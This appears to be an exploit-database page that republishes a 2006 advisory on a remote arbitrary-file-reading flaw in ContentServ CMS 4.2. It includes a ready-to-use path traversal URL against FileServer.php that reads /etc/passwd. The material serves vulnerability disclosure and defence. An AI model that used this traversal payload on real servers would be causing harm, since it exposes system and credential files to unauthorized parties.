header-logo
Suggest Exploit
vendor:
ContentServ
by:
milw0rm.com
7,5
CVSS
HIGH
Remote File Reading
22
CWE
Product Name: ContentServ
Affected Version From: 4.2
Affected Version To: Latest
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2006

ContentServ again (still) features remote reading of arbitrary files

ContentServ is a cms and "cross media publishing" software. It is vulnerable to remote file reading, which allows an attacker to read arbitrary files on the server. This exploit was first discovered in 2005 and is still present in the latest version of ContentServ.

Mitigation:

ContentServ should be updated to the latest version and all unnecessary files should be removed from the server.
Source

Exploit-DB raw data:

ContentServ again (still) features remote reading of arbitrary files
====================================================================

ContentServ is a cms and "cross media publishing" software.

Let me quote from their website:

"At ContentServ, there is always something happening. We continously enhance our products and services.[...]"

Ok.

Now for the real fun remember:
http://archives.neohapsis.com/archives/fulldisclosure/2005-09/0650.html


Still with me? Ok. Lets forget the sql injections for a moment, what if we try:
http://somesite/contentserv/4.2/admin/FileServer.php?src=../../../../../etc/passwd

# milw0rm.com [2006-12-01]

Navigation

Suggest Exploit

Services By CQR